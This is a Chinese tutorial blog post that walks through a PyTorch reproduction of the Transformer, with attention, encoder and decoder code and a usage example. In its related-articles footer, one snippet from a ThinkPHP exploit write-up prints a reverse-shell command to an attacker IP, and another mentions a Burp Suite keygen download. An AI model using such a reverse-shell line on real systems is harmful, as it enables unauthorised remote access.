第TR3周:Pytorch复现Transformer

news2024/11/13 23:51:43

本文为365天深度学习训练营 中的学习记录博客
原作者:K同学啊

任务详情:

●1. 从整体上把握Transformer模型,明白它是个什么东西,可以干嘛
●2. 读懂Transformer的复现代码(暂时不要过于纠结于某一个点,后面会慢慢讲解的)

  • 特别备注:
    建议先学习NLP的入门知识和了解Transformer 起源与发展、Transformer算法。

一、Transformer与Seq2Seq
有没有一种神经网络结构直接基于attention构造,并且不再依赖RNN、LSTM或者CNN网络结构了呢?答案便是:Transformer。Seq2Seq和Transformer都是用于处理序列数据的深度学习模型,但它们是两种不同的架构。

  • 1.Seq2Seq:
    ○定义: Seq2Seq是一种用于序列到序列任务的模型架构,最初用于机器翻译。这意味着它可以处理输入序列,并生成相应的输出序列。
    ○结构:Seq2Seq模型通常由两个主要部分组成:编码器和解码器。编码器负责将输入序列编码为固定大小的向量,而解码器则使用此向量生成输出序列。
    ○问题: 传统的Seq2Seq模型在处理长序列时可能会遇到梯度消失/爆炸等问题,而Transformer模型的提出正是为了解决这些问题。

  • 2.Transformer:
    ○定义: Transformer是一种更现代的深度学习模型,专为处理序列数据而设计,最初用于自然语言处理任务。它不依赖于RNN或CNN等传统结构,而是引入了注意力机制。
    ○结构:Transformer模型主要由编码器和解码器组成,它们由自注意力层和全连接前馈网络组成。它使用注意力机制来捕捉输入序列中不同位置之间的依赖关系,同时通过多头注意力来提高模型的表达能力。
    ○优势: Transformer的设计使其能够更好地处理长距离依赖关系,同时具有更好的并行性。

在某种程度上,可以将Transformer看作是Seq2Seq的一种演变,Transformer可以执行Seq2Seq任务,并且相对于传统的Seq2Seq模型具有更好的性能和可扩展性。
关于Transformer的历史这里就不赘述了,本文重点从技术层面解析Transformer。

可参考Transformer论文原文:《Attention Is All You Need》

与RNN这类神经网络结构相比,Transformer一个巨大的优点是:模型在处理序列输入时,可以对整个序列输入进行并行计算,不需要按照时间步循环递归处理输入序列。
下图1先便是Transformer整体结构图,与seq2seq模型类似,Transformer模型结构中的左半部分为编码器,右半部分为解码器,下面我们来一步步拆解Transformer。

图1:Transformer模型结构:在这里插入图片描述

二、Transformer宏观结构
Transformer可以看作是seq2seq模型的一种,因此,先从seq2seq的角度对Transformer进行宏观结构的学习。以机器翻译任务为例,先将Transformer看作一个黑盒,黑盒的输入是法语文本序列,输出是英语文本序列。

图2:Transformer黑盒输入和输出:
在这里插入图片描述
将上图中的中间部分“THE TRANSFORMER”拆开成seq2seq标准结构,得到下图:左边是编码器分encoders,右边是解码部分decoders。

图3:encoders-decoders:
在这里插入图片描述

下面,再将上图中的编码器和解码器细节绘出,得到下图。我们可以看到,编码部分由多层编码器(Encoder)组成。解码部分也是由多层的解码器(Decoder)组成。每层编码器、解码器网络结构是一样的,但是不同层编码器、解码器网络结构不共享参数。

图4:6层编码器和6层解码器:
在这里插入图片描述

其中,单层编码器主要由自注意力层(Self-Attention Layer)和全连接前馈网络(Feed Forward Neural Network, FFNN)与组成,如下图所示:

图5:单层编码器:
在这里插入图片描述

其中,解码器在编码器的自注意力层和全连接前馈网络中间插入了一个Encoder-Decoder Attention层,这个层帮助解码器聚焦于输入序列最相关的部分。

图6:单层解码器:
在这里插入图片描述
总结一下,我们基本了解了Transformer由编码部分和解码部分组成,而编码部分和解码部分又由多个网络结构相同的编码层和解码层组成。每个编码层由自注意力层和全连接前馈网络组成,每个解码层由自注意力层、全连接前馈网络和encoder-decoder attention组成。

三、复现Transformer

先导入相关库和指定设备

import torch
import torch.nn as nn
import math

# 指定设备
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
  1. 多头注意力机制
class MultiHeadAttention(nn.Module):
    # n_heads:多头注意力的数量
    # hid_dim:每个词输出的向量维度
    def __init__(self, hid_dim, n_heads):
        super(MultiHeadAttention, self).__init__()
        self.hid_dim = hid_dim
        self.n_heads = n_heads

        # 强制 hid_dim 必须整除 h
        assert hid_dim % n_heads == 0
        # 定义 W_q 矩阵
        self.w_q = nn.Linear(hid_dim, hid_dim)
        # 定义 W_k 矩阵
        self.w_k = nn.Linear(hid_dim, hid_dim)
        # 定义 W_v 矩阵
        self.w_v = nn.Linear(hid_dim, hid_dim)
        self.fc  = nn.Linear(hid_dim, hid_dim)
        # 缩放
        self.scale = torch.sqrt(torch.FloatTensor([hid_dim // n_heads]))

    def forward(self, query, key, value, mask=None):
        # 注意 Q,K,V的在句子长度这一个维度的数值可以一样,可以不一样。
        # K: [64,10,300], 假设batch_size 为 64,有 10 个词,每个词的 Query 向量是 300 维
        # V: [64,10,300], 假设batch_size 为 64,有 10 个词,每个词的 Query 向量是 300 维
        # Q: [64,12,300], 假设batch_size 为 64,有 12 个词,每个词的 Query 向量是 300 维
        bsz = query.shape[0]
        Q = self.w_q(query)
        K = self.w_k(key)
        V = self.w_v(value)
        # 这里把 K Q V 矩阵拆分为多组注意力
        # 最后一维就是是用 self.hid_dim // self.n_heads 来得到的,表示每组注意力的向量长度, 每个 head 的向量长度是:300/6=50
        # 64 表示 batch size,6 表示有 6组注意力,10 表示有 10 词,50 表示每组注意力的词的向量长度
        # K: [64,10,300] 拆分多组注意力 -> [64,10,6,50] 转置得到 -> [64,6,10,50]
        # V: [64,10,300] 拆分多组注意力 -> [64,10,6,50] 转置得到 -> [64,6,10,50]
        # Q: [64,12,300] 拆分多组注意力 -> [64,12,6,50] 转置得到 -> [64,6,12,50]
        # 转置是为了把注意力的数量 6 放到前面,把 10 和 50 放到后面,方便下面计算
        Q = Q.view(bsz, -1, self.n_heads, self.hid_dim //
                   self.n_heads).permute(0, 2, 1, 3)
        K = K.view(bsz, -1, self.n_heads, self.hid_dim //
                   self.n_heads).permute(0, 2, 1, 3)
        V = V.view(bsz, -1, self.n_heads, self.hid_dim //
                   self.n_heads).permute(0, 2, 1, 3)

        # 第 1 步:Q 乘以 K的转置,除以scale
        # [64,6,12,50] * [64,6,50,10] = [64,6,12,10]
        # attention:[64,6,12,10]
        attention = torch.matmul(Q, K.permute(0, 1, 3, 2)) / self.scale

        # 如果 mask 不为空,那么就把 mask 为 0 的位置的 attention 分数设置为 -1e10,这里用“0”来指示哪些位置的词向量不能被attention到,比如padding位置,当然也可以用“1”或者其他数字来指示,主要设计下面2行代码的改动。
        if mask is not None:
            attention = attention.masked_fill(mask == 0, -1e10)

            # 第 2 步:计算上一步结果的 softmax,再经过 dropout,得到 attention。
            # 注意,这里是对最后一维做 softmax,也就是在输入序列的维度做 softmax
            # attention: [64,6,12,10]
        attention = torch.softmax(attention, dim=-1)

        # 第三步,attention结果与V相乘,得到多头注意力的结果
        # [64,6,12,10] * [64,6,10,50] = [64,6,12,50]
        # x: [64,6,12,50]
        x = torch.matmul(attention, V)

        # 因为 query 有 12 个词,所以把 12 放到前面,把 50 和 6 放到后面,方便下面拼接多组的结果
        # x: [64,6,12,50] 转置-> [64,12,6,50]
        x = x.permute(0, 2, 1, 3).contiguous()
        # 这里的矩阵转换就是:把多组注意力的结果拼接起来
        # 最终结果就是 [64,12,300]
        # x: [64,12,6,50] -> [64,12,300]
        x = x.view(bsz, -1, self.n_heads * (self.hid_dim // self.n_heads))
        x = self.fc(x)
        return x
  1. 前馈传播
class Feedforward(nn.Module):
    def __init__(self, d_model, d_ff, dropout=0.1):
        super(Feedforward, self).__init__()
        # 两层线性映射和激活函数ReLU
        self.linear1 = nn.Linear(d_model, d_ff)
        self.dropout = nn.Dropout(dropout)
        self.linear2 = nn.Linear(d_ff, d_model)

    def forward(self, x):
        x = torch.nn.functional.relu(self.linear1(x))
        x = self.dropout(x)
        x = self.linear2(x)
        return x
  1. 位置编码
class PositionalEncoding(nn.Module):
    "实现位置编码"
    def __init__(self, d_model, dropout, max_len=5000):
        super(PositionalEncoding, self).__init__()
        self.dropout = nn.Dropout(p=dropout)

        # 初始化Shape为(max_len, d_model)的PE (positional encoding)
        pe = torch.zeros(max_len, d_model).to(device)
        
        # 初始化一个tensor [[0, 1, 2, 3, ...]]
        position = torch.arange(0, max_len).unsqueeze(1)
        # 这里就是sin和cos括号中的内容,通过e和ln进行了变换
        div_term = torch.exp(torch.arange(0, d_model, 2) * -(math.log(10000.0) / d_model))
        
        pe[:, 0::2] = torch.sin(position * div_term) # 计算PE(pos, 2i)
        pe[:, 1::2] = torch.cos(position * div_term) # 计算PE(pos, 2i+1)
        
        pe = pe.unsqueeze(0) # 为了方便计算,在最外面在unsqueeze出一个batch
        
        # 如果一个参数不参与梯度下降,但又希望保存model的时候将其保存下来
        # 这个时候就可以用register_buffer
        self.register_buffer("pe", pe)

    def forward(self, x):
        """
        x 为embedding后的inputs,例如(1,7, 128),batch size为1,7个单词,单词维度为128
        """
        # 将x和positional encoding相加。
        x = x + self.pe[:, :x.size(1)].requires_grad_(False)
        return self.dropout(x)
  1. 编码层
class EncoderLayer(nn.Module):
    def __init__(self, d_model, n_heads, d_ff, dropout=0.1):
        super(EncoderLayer, self).__init__()
        # 编码器层包含自注意力机制和前馈神经网络
        self.self_attn   = MultiHeadAttention(d_model, n_heads)
        self.feedforward = Feedforward(d_model, d_ff, dropout)
        self.norm1   = nn.LayerNorm(d_model)
        self.norm2   = nn.LayerNorm(d_model)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x, mask):
        # 自注意力机制
        attn_output = self.self_attn(x, x, x, mask)
        x = x + self.dropout(attn_output)
        x = self.norm1(x)

        # 前馈神经网络
        ff_output = self.feedforward(x)
        x = x + self.dropout(ff_output)
        x = self.norm2(x)

        return x
  1. 解码层
class DecoderLayer(nn.Module):
    def __init__(self, d_model, n_heads, d_ff, dropout=0.1):
        super(DecoderLayer, self).__init__()
        # 解码器层包含自注意力机制、编码器-解码器注意力机制和前馈神经网络
        self.self_attn   = MultiHeadAttention(d_model, n_heads)
        self.enc_attn    = MultiHeadAttention(d_model, n_heads)
        self.feedforward = Feedforward(d_model, d_ff, dropout)
        self.norm1   = nn.LayerNorm(d_model)
        self.norm2   = nn.LayerNorm(d_model)
        self.norm3   = nn.LayerNorm(d_model)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x, enc_output, self_mask, context_mask):
        # 自注意力机制
        attn_output = self.self_attn(x, x, x, self_mask)
        x           = x + self.dropout(attn_output)
        x           = self.norm1(x)

        # 编码器-解码器注意力机制
        attn_output = self.enc_attn(x, enc_output, enc_output, context_mask)
        x           = x + self.dropout(attn_output)
        x           = self.norm2(x)

        # 前馈神经网络
        ff_output = self.feedforward(x)
        x = x + self.dropout(ff_output)
        x = self.norm3(x)

        return x
  1. Transformer模型
class Transformer(nn.Module):
    def __init__(self, vocab_size, d_model, n_heads, n_encoder_layers, n_decoder_layers, d_ff, dropout=0.1):
        super(Transformer, self).__init__()
        # Transformer 模型包含词嵌入、位置编码、编码器和解码器
        self.embedding           = nn.Embedding(vocab_size, d_model)
        self.positional_encoding = PositionalEncoding(d_model,dropout)
        self.encoder_layers      = nn.ModuleList([EncoderLayer(d_model, n_heads, d_ff, dropout) for _ in range(n_encoder_layers)])
        self.decoder_layers      = nn.ModuleList([DecoderLayer(d_model, n_heads, d_ff, dropout) for _ in range(n_decoder_layers)])
        self.fc_out              = nn.Linear(d_model, vocab_size)
        self.dropout             = nn.Dropout(dropout)

    def forward(self, src, trg, src_mask, trg_mask):
        # 词嵌入和位置编码
        src = self.embedding(src)
        src = self.positional_encoding(src)
        trg = self.embedding(trg)
        trg = self.positional_encoding(trg)

        # 编码器
        for layer in self.encoder_layers:
            src = layer(src, src_mask)

        # 解码器
        for layer in self.decoder_layers:
            trg = layer(trg, src, trg_mask, src_mask)

        # 输出层
        output = self.fc_out(trg)

        return output
  1. 使用示例
# 使用示例
vocab_size = 10000  # 假设词汇表大小为10000
d_model    = 512
n_heads    = 8
n_encoder_layers = 6
n_decoder_layers = 6
d_ff             = 2048
dropout          = 0.1

transformer_model = Transformer(vocab_size, d_model, n_heads, n_encoder_layers, n_decoder_layers, d_ff, dropout)

# 定义输入,这里的输入是假设的,需要根据实际情况修改
src = torch.randint(0, vocab_size, (32, 10))  # 源语言句子
trg = torch.randint(0, vocab_size, (32, 20))  # 目标语言句子
src_mask = (src != 0).unsqueeze(1).unsqueeze(2)  # 掩码,用于屏蔽填充的位置
trg_mask = (trg != 0).unsqueeze(1).unsqueeze(2)  # 掩码,用于屏蔽填充的位置

# 模型前向传播
output = transformer_model(src, trg, src_mask, trg_mask)
print(output.shape)

代码结果输出:

torch.Size([32, 20, 10000])

代码通过模型进行前向传播,并打印输出的形状。根据Transformer模型的设计,上面输出的形状应该是(batch_size, trg_seq_len, vocab_size),在这个例子中是(32, 20, 10000)。这表示对于每个批次中的32个样本的每个位置,模型都会输出一个10000维的向量,向量表示每个词汇的分数或概率。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973896.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

重生之我们在ES顶端相遇第9 章- 搜索框最常用的功能 - 搜索建议

文章目录 1 前言2 Term Suggester2.1 基本介绍2.2 使用 demo2.3 常用参数2.3.1 suggest_mode2.3.2 max_edits2.3.3 prefix_length2.3.4 min_word_length 3 Completion Suggester3.1 基本描述3.2 基本使用3.3 查询参数3.3.1 size3.3.2 skip_duplicates3.3.3 fuzzy queries(模糊查…

【WPF开发】安装环境、新建工程

一、安装环境 在安装VS时候,勾选安装开发环境 如果已安装VS,可以到工具中查看是否有相应环境 二、新建工程 点击“创建新项目” 通过顶部过滤,C#,选择“WPF应用(NET.framework)”,并点击“下一…

通过 ACM 论文模版学习 LaTeX 语法 【三、格式】

文章目录 一、LaTeX 简介二、ACM 论文模版三、格式3.1 文章格式3.1.1 注释3.1.2 空格3.1.3 换行 3.2 字体3.2.1 字体样式3.2.2 字体大小2.2.3 字体颜色 一、LaTeX 简介 通过 ACM 论文模版学习 LaTeX 语法 【一、LaTeX简介和安装】 二、ACM 论文模版 通过 ACM 论文模版学习 L…

一款免费开源绿色免安装的透明锁屏工具

一款免费开源绿色免安装的透明锁屏工具 这个工具的特点就是电脑锁屏的时候,仍然显示原桌面,但是无法操作,需要输入密码才可以解锁。输入密码界面也是隐藏的需要按键才能显示输入密码框。 电脑★★★★★透明锁屏工具:https://pa…

canvas-视频绘制

通过Canvas元素来实时绘制一个视频帧,并在视频帧上叠加一个图片的功能可以当作水印。 获取Canvas元素: let canvas document.getElementById(canvas) 通过getElementById函数获取页面中ID为canvas的Canvas元素,并将其存储在变量canvas中。 …

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中,网络安全变的越来越重要,HTTPS(超文本传输安全协议)不仅能够提供加密的数据传输,还能增强用户信任度,提升搜索引擎排名,为网站带来多重益处。所以将网站从HTTP升级到HTTPS…

达利欧对话施一公:如何应对快速变化的世界?

本篇是对达利欧对话施一公:如何应对快速变化的世界?|凤凰《封面》这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 达利欧:我很兴奋,施教授和我有很多共同点,即使我们来自不…

DynamicDataSource多数据源的管理,动态新增切换数据源

文章目录 多数据源管理单数据源项目父工程版本与依赖yml配置文件实体类新增与修改时间MapperServiceController主启动类测试类 多数据源初始版yml配置文件配置类创建一个AbstractRoutingDataSourceController层测试 DynamicDataSource版本引入依赖yml配置文件Controller层Servi…

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节,由YN Dwith Chenna撰写,发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能(Edge…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代,焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活,影响着我们的情绪、工作乃至人际关系。但别担心,今天就带你揭秘“走出焦虑症最快的方法”,通过以下五个实用步骤,…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜(2024年) 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块,整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段,由于生产数据缺失,导致生产过程不透明,过程质量无记录,生产工艺难优化,生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期,这一时期往往伴随着商品评价的删除和卖家账户的封禁,对此,经验丰富的卖家们已经习以为常。虽然表面上看是风险控制,但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…

【Python】数据类型之详讲字符串(下)

本篇文章继续讲解字符串的功能: (7)字符串内容替换,得到一个新的字符串,原字符串不变。 功能:replace(str1,str2) str1和str2都是字符串,该功能是将字符串中的str1内容替换成str2. 代码举例&…

大模型与高能物理

人工智能大模型是什么?它和我们通常讲的机器学习、深度学习有什么关系?它有什么能力?它在高能物理可能有哪些方面的应用?今天我们浅浅讨论一下这些问题。 一 溯源:从人工智能到机器学习、深度学习和大模型 1 曲折发…

【KAN】【API教程】plot

初始化KAN和创建数据集 from kan import * # create a KAN: 2D inputs, 1D output, and 5 hidden neurons. cubic spline (k=3), 5 grid intervals (grid=5). model = KAN(width=[2,5,1], grid=3, k=3, seed=1)# create dataset f(x,y) = exp(sin(pi*x)+y^2) f = lambda x: to…

MacOS上如何优雅的使用Burp Suite Professional

MacOS上如何注册使用Burp Suite Professional 文章目录 MacOS上如何注册使用Burp Suite Professional一.如何下载二.安装BurpSuite三.注册四.启动五.创建可执行文件六.写在最后 一.如何下载 JDK官网下载 BurpSuite专业版官网下载 [注册机下载]( https://pan.baidu.com/s/10…